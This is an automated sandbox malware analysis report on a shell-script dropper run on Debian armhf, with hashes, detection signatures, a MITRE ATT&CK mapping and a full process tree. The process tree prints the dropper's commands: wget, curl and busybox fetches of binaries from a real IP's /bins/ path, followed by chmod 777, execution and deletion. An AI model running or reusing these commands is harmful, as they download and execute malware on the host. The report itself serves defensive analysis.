71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129

Analysis

max time kernel
17s
max time network
91s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/11/2024, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
Size 10KB
Sample241111-c2fx9atphj
SHA256 71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129
MD5 e3d0070216ad3a37013107bcf9685e13
SHA1 7d7b96188b2ee5b2fe4fb40e7483b77d275d38be
SHA512 6de4ee11de570db7262a7e7c77776a34e5065069d68b0ab1145f2d05d7b9b49204304d5068102c0cf020c53fdee93d661316016572aab6232b320cad53b4b034
SSDEEP 192:HpJXJwa8BiCmRkQCisfJY1TpVZvyqYpJXJwamCmRkQCiNzVZvyqJj:HpJXJwa8BiCmRkQCisBY1TGpJXJwamCo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
767	chmod
773	chmod
779	chmod
785	chmod
700	chmod
725	chmod
754	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	701	5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	726	J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	755	jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	768	UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	774	fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	780	23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	786	pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	curl
File opened for modification	/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	curl
File opened for modification	/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	curl
File opened for modification	/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	curl
File opened for modification	/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	curl
File opened for modification	/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	curl
File opened for modification	/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	curl

/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
1⤵
PID:641
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:643
- /usr/bin/wget
  wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:645
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:693
- /bin/chmod
  chmod 777 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  ./5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:703
- /usr/bin/wget
  wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:723
- /bin/chmod
  chmod 777 J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  ./J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:727
- /usr/bin/wget
  wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:733
- /bin/chmod
  chmod 777 jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  ./jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:757
- /usr/bin/wget
  wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:766
- /bin/chmod
  chmod 777 UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  ./UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:769
- /usr/bin/wget
  wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:772
- /bin/chmod
  chmod 777 fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  ./fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:778
- /bin/chmod
  chmod 777 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  ./23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:781
- /usr/bin/wget
  wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:784
- /bin/chmod
  chmod 777 pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  ./pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg

Path /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads